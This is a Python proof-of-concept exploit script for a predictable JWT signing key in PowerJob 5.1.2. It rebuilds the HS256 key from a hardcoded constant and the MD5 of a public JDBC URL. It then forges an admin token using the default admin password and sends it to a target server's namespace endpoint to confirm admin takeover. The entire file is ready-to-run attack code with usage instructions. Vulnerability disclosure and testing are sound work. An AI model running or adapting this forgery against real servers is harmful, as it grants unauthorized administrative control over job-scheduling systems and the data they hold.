#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/unpredictable21/CVE-2026-75431_PowerJob_jwt_key_predictable (see README for attribution/license)
"""PowerJob 5.1.2 — Predictable JWT signing key → admin token forgery (finding PJ-12, HIGH).

Root cause:
  - JwtServiceImpl.java:44-102  genSecretKey(secret) = BASE64_DECODE(BASE_SECURITY.concat(secret));
    BASE_SECURITY is a hardcoded pinyin constant.
  - DefaultSecretProvider.java:31-45  fetchSecretKey() = MD5(spring.datasource.core.jdbc-url);
    the JDBC URL is public in docker-compose / application-daily.properties.
  - The PWJB account's encryptedToken = rePassword(password, username), computable offline when the
    default admin password is used (powerjob_admin, finding PJ-02).

Result: an attacker can derive the HS256 key offline and forge a valid ADMIN web JWT (or an OpenAPI
App token) without any credentials.

Usage:
  python3 powerjob_jwt_forge.py <server:7700> [jdbc_url] [username] [password]
  e.g. python3 powerjob_jwt_forge.py 127.0.0.1:7700
"""
import base64
import hashlib
import hmac
import json
import sys
import time

BASE_SECURITY = ("CengMengXiangZhangJianZouTianYa" + "KanYiKanShiJieDeFanHua" +
                 "NianShaoDeXinZongYouXieQingKuang" + "RuJinWoSiHaiWeiJia")
DEFAULT_JDBC = ("jdbc:mysql://127.0.0.1:3307/powerjob_daily?useUnicode=true&characterEncoding=UTF-8"
                "&serverTimezone=Asia/Shanghai&allowMultiQueries=true")


def re_password(password, salt):
    """Compute the encryptedToken used in JWT claims."""
    f1 = f"{salt}_{password}_z"
    return f"{salt}_{hashlib.md5(f1.encode()).hexdigest()}_b"


def b64u(data):
    """Base64 URL-safe encode without padding."""
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def forge_admin_jwt(jdbc_url, username="PWJB_ADMIN", origin_user="ADMIN", password="powerjob_admin"):
    """
    Forge a JWT for the PowerJob admin user.

    Returns:
        (token, key, encrypted_token)
    """
    secret = BASE_SECURITY + hashlib.md5(jdbc_url.encode()).hexdigest()
    # Decode secret as Base64, adding padding if necessary
    key = base64.b64decode(secret.encode() + b"=" * ((4 - len(secret) % 4) % 4))

    enc = re_password(password, origin_user)

    header = b64u(json.dumps({"typ": "JWT", "alg": "HS256"}).encode())
    claims = {
        "username": username,
        "encryptedToken": enc,
        "sub": "PowerJob",
        "exp": int(time.time()) + 604800  # 7 days
    }
    payload = b64u(json.dumps(claims).encode())

    signature = hmac.new(key, f"{header}.{payload}".encode(), hashlib.sha256).digest()
    token = f"{header}.{payload}.{b64u(signature)}"
    return token, key, enc


def main():
    if len(sys.argv) > 1:
        server = sys.argv[1]
    else:
        server = "127.0.0.1:7700"

    if len(sys.argv) > 2:
        jdbc = sys.argv[2]
    else:
        jdbc = DEFAULT_JDBC

    token, key, enc = forge_admin_jwt(jdbc)

    print(f"[*] JDBC URL            : {jdbc}")
    print(f"[*] Derived key length  : {len(key)} bytes")
    print(f"[*] Derived encryptedToken : {enc}")
    print(f"[*] Forged ADMIN JWT    : {token}")

    import requests

    base = f"http://{server}"

    # Test without token
    r0 = requests.post(f"{base}/namespace/list", json={"index": 0, "pageSize": 10}, timeout=10)
    print(f"\n[*] /namespace/list without Token: {r0.text[:120]}")

    # Test with forged token
    r1 = requests.post(
        f"{base}/namespace/list",
        json={"index": 0, "pageSize": 10},
        headers={"PowerJwt": token},
        timeout=10
    )
    print(f"[*] /namespace/list with forged JWT: {r1.text[:200]}")

    if r1.json().get("success"):
        print("[+] Forged token authentication successful (admin takeover).")
    else:
        print("[-] Forged token authentication failed.")


if __name__ == "__main__":
    main()
